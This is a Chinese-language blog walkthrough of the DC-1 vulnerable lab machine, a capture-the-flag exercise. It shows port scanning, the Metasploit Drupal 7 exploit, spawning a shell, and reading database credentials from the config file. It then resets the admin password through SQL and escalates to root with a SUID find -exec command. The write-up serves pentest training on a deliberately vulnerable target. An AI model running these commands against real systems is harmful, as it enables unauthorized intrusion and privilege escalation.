zoukankan      html  css  js  c++  java
  • 2.DC1

    DC-1

    关于环境的搭建 , 大家可以自行百度

    网络桥接

    渗透机 kali

    靶机 dc-1

    0x01. 信息收集

    1. 查看当前网段

    image-20210616185202249

    2. 扫描存活主机 , 确定靶机ip

    image-20210616184951314

    补充 : 建议kali和靶机使用nat , 在一个网段里 , 这样好找一点

    3. 扫描ip开放的端口 , 全端口

    masscan -p0-65535 192.168.0.119 --banner --rate=1000
    

    image-20210616185714514

    开放的有80端口 , 估计是有web服务 , 访问一下

    image-20210616191850623

    发现是水滴搭建的 , 国外三大开源的cms , drupal wordpress joomla , 那简单啦 , 下一步识别版本号 , 然后找对应的exp

    image-20210616193108428

    0x02. 漏洞发现&利用

    kali自带的msf有关于水滴7版本的exp , 尝试利用

    进入msf , 搜索模块

    search durpal
    use 4  (试了好几个exp,还是4好用)
    set rhosts 192.1658.0.119
    run
    shell   (进入命令行操作界面,非交互式)
    python -c 'import pty;pty.spawn("/bin/bash")'
    

    发现第一个flag1.txt

    image-20210616195140470

    打印查看具体信息

    www-data@DC-1:/var/www$ cat flag1.txt
    cat flag1.txt
    Every good CMS needs a config file - and so do you.  
    看来是让我们找配置文件
    

    在默认的目录下找到配置文件 settings.php , 也可以直接搜索

    image-20210616195419743

    flag2提示我们关于暴力破解不一定是最好的选择 , 然后又说了获取权限 , 那么关于网站的权限获取 , 肯定是管理员啦 , 看到下面有数据库信息 , 通过数据库找到网站管理员的账号和密码

    本地连接数据库

    mysql -h localhost -u dbuser -p
    R0ck3t
    show databases;
    use durpaldb;
    show tables;
    select * from users;
    

    image-20210616200222051

    找到了admin的信息 , 但是密码是加密的 , 通过百度durpal密码得知加密脚本在script下面

    忘记了Druapl7的密码,该如何解决?
    答:
    方法一:可以新注册一个用户,密码记住了,然后通过phpmyadmin这样的可视化mysql管理工具到users表里把加密后的密码拷到admin的密码里。
    
    方法二:这是drupal提供的最原生的方法
    在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:
    php scripts/password-hash.sh admin
    

    这里使用第二种方法替换 , 来到网站根目录下

    php scripts/password-hash.sh admin
    password: admin 		hash: $S$DBkl4KG4OCnn1aiFMP6WAc32CF7QFyqx9aU6lD8mWBp1imIciHRZ
    

    接着就是update更新

    update drupaldb.users set pass="$S$DBkl4KG4OCnn1aiFMP6WAc32CF7QFyqx9aU6lD8mWBp1imIciHRZ" where name="admin";
    

    使用替换后的密码登进后台 , 拿到flag3

    image-20210616201644773

    通过翻译得知 , 当前权限不能够查看etc/shadow文件 , 需要我们提权了?

    既然没有明显的提示我们就直接搜索flag

    find / -type f -name "*flag*"
    

    image-20210616204239382

    www-data@DC-1:/home/flag4$ cat flag4.txtcat flag4.txtCan you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy.  Or maybe it is?
    

    flag是在root下 , 那就要提权了

    关于这个exp , 你可以直接在msf中直接搜索 , 尝试, 如果有最好 , 没有的话就用网上的exp

    我知道这是靶机 , 很多人实战都是卡在这个漏洞的发现和利用 , 别着急 , 慢慢来

    0x03. 提权

    关于linux提权的方式也很多 , 这里尝试使用suid提权

    SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

    说人话 : 就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

    查找suid文件

    find / -perm -u=s -type f  2>/dev/null/表示从文件系统的顶部(根)开始并找到每个目录-perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件-type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件2表示该进程的第二个文件描述符,即stderr(标准错误)>表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。其他查找命令find / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
    

    image-20210616202719619 

    我们这里就用find命令提权

    cd /tmpmkdir aaafind aaa -exec whoami \;获取最后的flagfind test -exec  cat /root/thefinalflag.txt \;
    
    www-data@DC-1:/tmp$ find test -exec  cat /root/thefinalflag.txt \;find test -exec  cat /root/thefinalflag.txt \;Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
    

    nice

    0x04. 编写报告

    0x05. 清除数据

    就是那个网站管理员的密码 , 涉及到改写数据最后先备份一份原来的

  • 相关阅读:
    Git 合并流程
    Layui父页面向子页面传参
    jsp页面包含的几中方式
    Eclipse项目启动不了
    jquery 用于操作动态元素的delegate/on方法
    JS[获取两个日期中所有的月份]
    Map的四种遍历方法
    MySQL中, 如何查询某一天, 某一月, 某一年的数据.
    myEclies项目导入Eclipse中常见问题
    MyEclipse背景与字体大小和xml文件中字体大小调整
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712490.html
Copyright © 2011-2022 走看看